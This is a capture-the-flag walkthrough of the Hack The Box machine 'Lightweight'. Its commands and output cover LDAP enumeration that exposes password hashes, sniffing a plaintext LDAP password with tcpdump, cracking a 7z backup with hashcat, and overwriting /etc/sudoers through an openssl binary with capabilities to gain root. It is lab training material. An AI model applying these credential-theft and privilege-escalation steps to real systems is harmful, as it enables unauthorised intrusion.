Lightweight
11/05/2019
To get user in Lightweight we will have to play around with ldap service and inspect traffic with tcpdump. Then, to escalate privileges, crack a 7z password protected, search for files with capabilities and play with openssl commands.
User
First run nmap to see we have ssh/22, http/80 and ldap/389.
root@kali:~/htb/lightweight# nmap -sC -sV 10.10.10.119 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 07:57 UTC Nmap scan report for 10.10.10.119 Host is up (0.12s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA) | 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA) |_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 |_http-title: Lightweight slider evaluation page - slendr 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X | ssl-cert: Subject: commonName=lightweight.htb | Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain | Not valid before: 2018-06-09T13:32:51 |_Not valid after: 2019-06-09T13:32:51 |_ssl-date: TLS randomness does not represent time
If we run ldap-search script from nmap we can get the following information.
root@kali:~/htb/lightweight# nmap -p 389 --script ldap-search 10.10.10.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 10:06 UTC
Nmap scan report for 10.10.10.119
Host is up (0.15s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=lightweight,dc=htb
| dn: dc=lightweight,dc=htb
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: lightweight htb
| dc: lightweight
| dn: cn=Manager,dc=lightweight,dc=htb
| objectClass: organizationalRole
| cn: Manager
| description: Directory Manager
| dn: ou=People,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: People
| dn: ou=Group,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: Group
| dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
| uid: ldapuser1
| cn: ldapuser1
| sn: ldapuser1
| mail: ldapuser1@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1000
| gidNumber: 1000
| homeDirectory: /home/ldapuser1
| dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
| uid: ldapuser2
| cn: ldapuser2
| sn: ldapuser2
| mail: ldapuser2@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1001
| gidNumber: 1001
| homeDirectory: /home/ldapuser2
| dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser1
| userPassword: {crypt}x
| gidNumber: 1000
| dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser2
| userPassword: {crypt}x
|_ gidNumber: 1001
We have two users ldapuser1 and ldapuser2 with their hashed passwords. We could try to crack them, but it's not the intended way.
In port 80 we have a simple php website.
The Info page informs us the website is protected against bruteforging, if we try to run any web scanning tool we'll be banned for a couple of minutes being unable to access.
Going to the user page we can see a user in the machine has been automatically added for us.
We can ssh with our IP as user and password as the user page said.
root@kali:~/htb/lightweight# ssh 10.10.16.35@10.10.10.119 10.10.16.35@10.10.10.119's password: 10.10.16.35 [10.10.16.35@lightweight ~]$
Once inside, we can use tcpdump to inspect traffic. If we filter by ldap connections, we will see the following request when someone accesses /user.php (we will see the reason later).
[10.10.16.35@lightweight /]$ tcpdump -i any -X port ldap ... 16:44:01.708890 IP lightweight.htb.43156 > lightweight.htb.ldap: Flags [P.], seq 1:92, ack 1, win 683, options [nop,nop,TS val 66819651 ecr 66819651], length 91 0x0000: 4500 008f 7d79 4000 4006 93ee 0a0a 0a77 E...}y@.@......w 0x0010: 0a0a 0a77 a894 0185 0650 eb35 33dd 408a ...w.....P.53.@. 0x0020: 8018 02ab 2983 0000 0101 080a 03fb 9643 ....)..........C 0x0030: 03fb 9643 3059 0201 0160 5402 0103 042d ...C0Y...`T....- 0x0040: 7569 643d 6c64 6170 7573 6572 322c 6f75 uid=ldapuser2,ou 0x0050: 3d50 656f 706c 652c 6463 3d6c 6967 6874 =People,dc=light 0x0060: 7765 6967 6874 2c64 633d 6874 6280 2038 weight,dc=htb..8 0x0070: 6263 3832 3531 3333 3261 6265 3164 3766 bc8251332abe1d7f 0x0080: 3130 3564 3365 3533 6164 3339 6163 3200 105d3e53ad39ac2. 0x0090: 0000 0000 0000 0000 0000 0000 0000 00 ............... ...
Here we have ldapuser2 password in plain text now, so we can use su to change our user (ssh is disabled for this user).
[10.10.16.35@lightweight tmp]$ su ldapuser2 Password: 8bc8251332abe1d7f105d3e53ad39ac2 [ldapuser2@lightweight tmp]$
The user flag is in ldapuser2 home directory.
[ldapuser2@lightweight ~]$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
Besides the flag, we have a backup.7z file owned by root.
[ldapuser2@lightweight ~]$ ls -la total 1884 drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 . drwxr-xr-x. 41 root root 4096 Feb 18 16:37 .. -rw-r--r--. 1 root root 3411 Jun 14 2018 backup.7z -rw-------. 1 ldapuser2 ldapuser2 0 Jun 21 2018 .bash_history -rw-r--r--. 1 ldapuser2 ldapuser2 18 Apr 11 2018 .bash_logout -rw-r--r--. 1 ldapuser2 ldapuser2 193 Apr 11 2018 .bash_profile -rw-r--r--. 1 ldapuser2 ldapuser2 246 Jun 15 2018 .bashrc drwxrwxr-x. 3 ldapuser2 ldapuser2 18 Jun 11 2018 .cache drwxrwxr-x. 3 ldapuser2 ldapuser2 18 Jun 11 2018 .config -rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13 2018 OpenLDAP-Admin-Guide.pdf -rw-rw-r--. 1 ldapuser2 ldapuser2 379983 Jun 13 2018 OpenLdap.pdf -rw-r--r--. 1 root root 33 Jun 15 2018 user.txt
Move it to our machine encoding it to base64 and copy pasting the result.
[ldapuser2@lightweight ~]$ base64 -w 0 backup.7z N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2...
root@kali:~/htb/lightweight# echo -n N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2... |base64 -d > backup.7z
The compressed file is locked by a password, so I used 7z2hashcat to retrieve the hashcat hash.
root@kali:~/htb/lightweight# perl 7z2hashcat.pl backup.7z > backup.hash
Now use hashcat with the retrieved hash to obtain the password (delete).
root@kali:~/htb/lightweight# hashcat -m 11600 backup.hash /usr/share/wordlists/rockyou.txt --force hashcat (v5.1.0) starting... $7z$2$19$0$$8$11e...71eb$4218$03:delete
Extract the files from the 7z to get index.php, info.php, reset.php, status.php and user.php.
root@kali:~/htb/lightweight# 7z e backup.7z -pdelete
Those files seem to be a backup of the website code. If we read status.php we can see ldapuser1 credentials.
root@kali:~/htb/lightweight# cat status.php ... $username = 'ldapuser1'; $password = 'f3ca9d298a553da117442deeb6fa932d'; $ldapconfig['host'] = 'lightweight.htb'; $ldapconfig['port'] = '389'; $ldapconfig['basedn'] = 'dc=lightweight,dc=htb'; //$ldapconfig['usersdn'] = 'cn=users'; $ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']); ...
Once again, use su to change the user, because we have ssh also disabled for ldapuser1.
[10.10.16.35@lightweight /]$ su ldapuser1 Password: f3ca9d298a553da117442deeb6fa932d [ldapuser1@lightweight /]$
If we run getcap to find files with capabilites we see /home/ldapuser1/tcpdump and /home/ldapuser1/openssl. We didn't see those binaries before because they are under ldapuser1 home directory.
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_admin,cap_net_raw+p /usr/sbin/mtr = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/openssl =ep
We can use openssl to read files as a privileged user and we could run the following command to read root's flag.
[ldapuser1@lightweight ~]$ /home/ldapuser1/openssl base64 -in /root/root.txt | base64 -d
But we're going to get a root's shell instead, because with openssl we can also edit files, so let's add our user to sudoers.
First create a file which will have the desired contents of sudoers (encoded in base64).
[ldapuser1@lightweight tmp]$ echo -ne "root\tALL=(ALL) ALL\n\"10.10.16.35\"\tALL=(ALL) ALL\n%sudo\tALL=(ALL) ALL\n" | base64 > caca
Now use openssl to read that file, decode it and put the result in /etc/sudoers.
[ldapuser1@lightweight tmp]$ /home/ldapuser1/openssl base64 -d -in /tmp/caca -out /etc/sudoers
We can read that file to verify our user is now there.
[ldapuser1@lightweight tmp]$ /home/ldapuser1/openssl base64 -in /etc/sudoers | base64 -d root ALL=(ALL) ALL "10.10.16.35" ALL=(ALL) ALL %sudo ALL=(ALL) ALL
Now we can execute everything as a privileged user with our user.
[10.10.16.35@lightweight ~]$ sudo -l
[sudo] password for 10.10.16.35:
User 10.10.16.35 may run the following commands on lightweight:
(ALL) ALL
[10.10.16.35@lightweight ~]$ sudo su
[root@lightweight 10.10.16.35]#
Now we can see the real website code, and observe that when we visit status.php ldapuser2 connects to ldap, that's why we could see that traffic through tcpdump.
[root@lightweight ~]# cat /var/www/html/status.php ... $username = 'ldapuser2'; $password = '8bc8251332abe1d7f105d3e53ad39ac2'; $ldapconfig['host'] = 'lightweight.htb'; $ldapconfig['port'] = '389'; $ldapconfig['basedn'] = 'dc=lightweight,dc=htb'; //$ldapconfig['usersdn'] = 'cn=users'; $ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']); ...
We have root's flag in his directory.
[root@lightweight ~]# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX